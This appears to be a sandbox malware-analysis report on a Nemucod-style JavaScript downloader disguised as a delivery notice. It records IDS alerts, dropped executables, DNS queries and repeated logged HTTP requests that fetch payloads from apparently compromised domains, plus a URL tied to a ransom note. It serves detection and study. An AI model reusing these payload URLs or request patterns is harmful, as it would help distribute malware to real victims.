Source: Network traffic	Suricata IDS: 2022692 - Severity 1 - ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31 : 192.168.2.7:49699 -> 65.109.23.226:80
Source: Network traffic	Suricata IDS: 2024035 - Severity 1 - ET MALWARE WS/JS Downloader Mar 07 2017 M1 : 192.168.2.7:49699 -> 65.109.23.226:80
Source: Network traffic	Suricata IDS: 2024035 - Severity 1 - ET MALWARE WS/JS Downloader Mar 07 2017 M1 : 192.168.2.7:49702 -> 188.114.97.3:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 187.1.136.13 80	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 65.109.23.226 443	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 188.114.97.3 80	Jump to behavior

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Windows\System32\wscript.exe	File created: a.exe.1.dr
Source: C:\Windows\System32\wscript.exe	File created: a1.exe.1.dr
Source: C:\Windows\System32\wscript.exe	File created: a2.exe.1.dr

JavaScript source code contains functionality to generate code involving HTTP requests or file downloads

Source: Delivery_Notification_00000260791.doc.js	Return value : ['"var id="rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA"; var ad']			Go to definition
Source: Delivery_Notification_00000260791.doc.js	Argument value : ['"var id="rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA"; var ad']			Go to definition

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: ALABANZA-BALTUS ALABANZA-BALTUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: IPV6InternetLtdaBR IPV6InternetLtdaBR

Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=21 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: lacampagnetropicana.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=31 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: cestasgabrasil.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2o6i; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2o6i; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2orr; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2orr; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2phm; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2phm; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2ppf; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2ppf; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=21 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: lacampagnetropicana.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=31 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: cestasgabrasil.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2o6i; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2o6i; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2orr; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2orr; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2phm; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2phm; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2ppf; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s
Source: global traffic	HTTP traffic detected: GET /?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45 HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: radostdetym.ruConnection: Keep-AliveCookie: PHPSESSID=2u5ggapl9b40qjimiiusi6upkv; _subid=1ccvtc11gv2ppf; 64f87=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjc3N1wiOjE3MzIwODY5MTV9LFwiY2FtcGFpZ25zXCI6e1wiMjE1XCI6MTczMjA4NjkxNX0sXCJ0aW1lXCI6MTczMjA4NjkxNX0ifQ.zMUIdkvjz9BNLENllP0xDiC4Fr7OnIsPJw_TmY6km5s

Source: global traffic	DNS traffic detected: DNS query: xn--80adi0bdhdbmg.xn--p1ai
Source: global traffic	DNS traffic detected: DNS query: jpnovo.ru
Source: global traffic	DNS traffic detected: DNS query: lacampagnetropicana.com
Source: global traffic	DNS traffic detected: DNS query: cestasgabrasil.com.br
Source: global traffic	DNS traffic detected: DNS query: www.cestasgabrasil.com.br
Source: global traffic	DNS traffic detected: DNS query: radostdetym.ru

Source: wscript.exe, 00000001.00000003.1546990200.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ED0C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547712253.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED22000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1547113971.0000018C8EADF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1545177194.0000018C8ED1F000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 0000001E.00000002.2545304562.000002615CD5E000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514D1000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000023.00000002.2545420264.000002B0514DC000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F051581000.00000004.00000020.00020000.00000000.sdmp, notepad.exe, 00000024.00000002.2545636273.000001F05158C000.00000004.00000020.00020000.00000000.sdmp, DECRYPT.txt.20.dr, a.txt.1.dr	String found in binary or memory: http://cestasgabrasil.com.br/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN
Source: wscript.exe, 00000001.00000003.1545177194.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546183931.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1550296946.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ED35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cestasgabrasil.com.br/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.htmm
